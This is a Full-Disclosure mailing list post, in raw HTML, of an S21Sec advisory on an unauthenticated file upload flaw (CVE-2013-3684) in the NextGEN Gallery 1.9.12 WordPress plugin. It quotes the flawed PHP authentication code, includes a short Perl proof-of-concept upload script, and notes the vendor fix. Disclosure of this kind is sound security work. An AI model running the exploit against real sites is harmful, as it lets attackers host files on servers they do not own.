[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] [CVE-2013-3684] NextGEN Gallery 1.9.12 Arbitrary File Upload



<html>
  <head>

    <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
  </head>
  <body bgcolor="#FFFFFF" text="#000000">
    <tt>##############################################################<br>
      <br>
      <br>
      
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 - S21Sec Advisory -<br>
      <br>
      <br>
      ##############################################################<br>
      <br>
      &nbsp;&nbsp;&nbsp; Title:&nbsp;&nbsp; NextGEN Gallery 1.9.12 Arbitrary 
File Upload<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID:&nbsp;&nbsp; S21SEC-046-en<br>
      &nbsp;&nbsp; CVE ID:&nbsp;&nbsp; CVE-2013-3684<br>
      &nbsp;Severity:&nbsp;&nbsp; High<br>
      &nbsp;&nbsp; Status:&nbsp;&nbsp; Fixed<br>
      &nbsp; History:&nbsp;&nbsp; 27.May.2013 Vulnerability discovered<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
28.May.2013 Vendor informed<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
12.Jun.2013 Fix released<br>
      &nbsp;&nbsp; Authors:&nbsp; Marcos Ag&uuml;ero (<a 
class="moz-txt-link-abbreviated" 
href="mailto:maguero@xxxxxxxxxx";>maguero@xxxxxxxxxx</a>)<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; URL:&nbsp;&nbsp;
      <a class="moz-txt-link-freetext" 
href="http://www.s21sec.com/images/labs/advisories/s21sec-046-en.txt";>http://www.s21sec.com/images/labs/advisories/s21sec-046-en.txt</a><br>
      &nbsp; Release:&nbsp;&nbsp; Public<br>
      <br>
      <br>
      [ SUMMARY ]<br>
      <br>
      NextGEN Gallery is a WordPress gallery plugin that offers
      sophisticated gallery management and <br>
      displays. It's one of the most popular plugins ever produced for
      WordPress, currently downloaded <br>
      around 30,000 times per week.<br>
      <br>
      [ AFFECTED VERSIONS ]<br>
      &nbsp;<br>
      &nbsp;&nbsp;&nbsp; * NextGEN Gallery 1.9.12<br>
      <br>
      [ DESCRIPTION ]<br>
      <br>
      NextGEN Gallery allows file upload to unauthenticated users.
      Filters in place only permits uploads <br>
      of image files (extensions .gif, .png and .jpg). This avoids
      scripts execution problems but an<br>
      attacker could use the affected system to host files.<br>
      <br>
      Vulnerability occurs due an innapropiate cookie validation in
      admin/upload.php script:<br>
      <br>
      &nbsp;&nbsp;&nbsp; if (wp_validate_auth_cookie()) {<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $results = 
wp_parse_auth_cookie();<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $logged_in = FALSE;<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (isset($results['username']) 
&amp;&amp;
      isset($results['expiration'])) {<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (time() 
&lt; floatval($results['expiration'])) {<br>
      &nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if 
(($userdata =
      get_userdatabylogin($results['username'])))<br>
      &nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $logged_in = $userdata-&gt;ID;<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
      &nbsp;&nbsp;&nbsp; <br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!$logged_in) die("Login 
failure. -1");<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; else if (!user_can($logged_in, 
'NextGEN Upload images')) {<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die('You do 
not have permission to upload files. -2');<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
      &nbsp;&nbsp;&nbsp; } # VULN: No auth cookie is okay!<br>
      <br>
      This can be triggered by invoking 'nggupload' parameter on any
      valid wordpress URL:<br>
      <br>
      ngggallery.php:<br>
      <br>
      &nbsp;&nbsp;&nbsp; // Handle upload requests<br>
      &nbsp;&nbsp;&nbsp; add_action('init', array(&amp;$this,
      'handle_upload_request'));<br>
      <br>
      &nbsp;&nbsp;&nbsp; [...]<br>
      &nbsp;&nbsp;&nbsp; function handle_upload_request()<br>
      &nbsp;&nbsp;&nbsp; {<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (isset($_GET['nggupload'])) {<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
require_once(implode(DIRECTORY_SEPARATOR, array(<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp; NGGALLERY_ABSPATH,<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp; 'admin',<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp; 'upload.php'<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; )));<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; throw new 
E_Clean_Exit();<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
      &nbsp;&nbsp;&nbsp; }<br>
      <br>
      [ POC ]<br>
      #! /usr/bin/perl<br>
      use LWP;<br>
      use HTTP::Request::Common;<br>
      <br>
      my ($url, $file) = @ARGV;<br>
      <br>
      my $ua = LWP::UserAgent-&gt;new();<br>
      my $req = POST $url,<br>
      &nbsp;&nbsp;&nbsp; Content_Type =&gt; 'form-data',<br>
      &nbsp;&nbsp;&nbsp; Content =&gt;&nbsp;&nbsp;&nbsp; [ <br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; name =&gt; 
$name,<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; galleryselect 
=&gt; 1,&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # Gallery ID, should
      exist<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Filedata =&gt; [ 
"$file", "file.gif",&nbsp; Content_Type
      =&gt; 'image/gif' ]<br>
      &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ];<br>
      my $res = $ua-&gt;request( $req );<br>
      if( $res-&gt;is_success ) {<br>
      &nbsp;&nbsp;&nbsp; print $res-&gt;content;<br>
      } else {<br>
      &nbsp;&nbsp;&nbsp; print $res-&gt;status_line, "\n";<br>
      }<br>
      <br>
      [ SOLUTION ]<br>
      <br>
      Version 1.9.13 released by vendor.
      <a class="moz-txt-link-freetext" 
href="http://wordpress.org/plugins/nextgen-gallery/";>http://wordpress.org/plugins/nextgen-gallery/</a><br>
      <br>
      [ REFERENCES ]<br>
      <br>
      * S21Sec<br>
      &nbsp; <a class="moz-txt-link-freetext" 
href="http://www.s21sec.com";>http://www.s21sec.com</a><br>
      <br>
    </tt>
    <div class="moz-signature">-- <br>
      <div class="moz-signature">
        <title>S21sec</title>
        <style>
                        .Estilo1 {font-size: 11px}
                        .Estilo2 {font-size: 12px}
                </style>
        <div class="Section1">
          <p class="MsoNormal"><b><span style="font-size:
                10pt;font-family: Verdana;" lang="es-ES">Marcos 
Ag&uuml;ero</span></b>
            <span style="font-size: 11px; font-family: Verdana;"
              lang="EN-GB"><br>
              <em style="font-family: Verdana; color: rgb(221, 72, 20);">S21sec
                ACSS</em> </span> <br>
            <br>
            <span style="font-size: 11px; font-family: Verdana;"> Tlf:
              +34 902 222 521<br>
              <br>
              <a href="http://www.s21sec.com"; 
style="color:#dd4814">www.s21sec.com</a>,
              <a href="http://blog.s21sec.com"; 
style="color:#dd4814">blog.s21sec.com</a>
              <a href="http://securityblog.s21sec.com";
                style="color:#dd4814">securityblog.s21sec.com</a> </span>
            <br>
            <br>
          </p>
          <p class="MsoNormal"><span style="font-size: 7.5pt;
              font-family:Verdana; width:95%"> Salvo que se indique lo
              contrario, esta informaci&oacute;n es CONFIDENCIAL y contiene
              datos de car&aacute;cter personal que han de ser tratados
              conforme a la legislaci&oacute;n vigente en materia de 
protecci&oacute;n
              de datos. Si usted no es destinatario original de este
              mensaje, le comunicamos que no est&aacute; autorizado a revisar,
              reenviar, distribuir, copiar o imprimir la informaci&oacute;n en
              &eacute;l contenida y le rogamos que proceda a borrarlo de sus
              sistemas.<br>
              <br>
              Unless contrary indicated, this information is
              CONFIDENTIAL and contains personal data that shall be
              processed according to personal data protection law in
              force. If you are not the named addressee of this message
              you are hereby notified that any review, dissemination,
              distribution, copying or printing of this message is
              strictly prohibited and we urge you to delete it from your
              Systems. <br>
              <br>
              <img src="cid:part4.05040106.06000600@s21sec.com"><font
                color="#0B610B"> Antes de imprimir este mensaje valora
                si verdaderamente es necesario. De esta forma
                contribuimos a la preservaci&oacute;n del Medio Ambiente. 
</font></span><font
              color="#0B610B"> </font> </p>
        </div>
        <font color="#0B610B"> </font></div>
    </div>
  </body>
</html>

GIF image

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/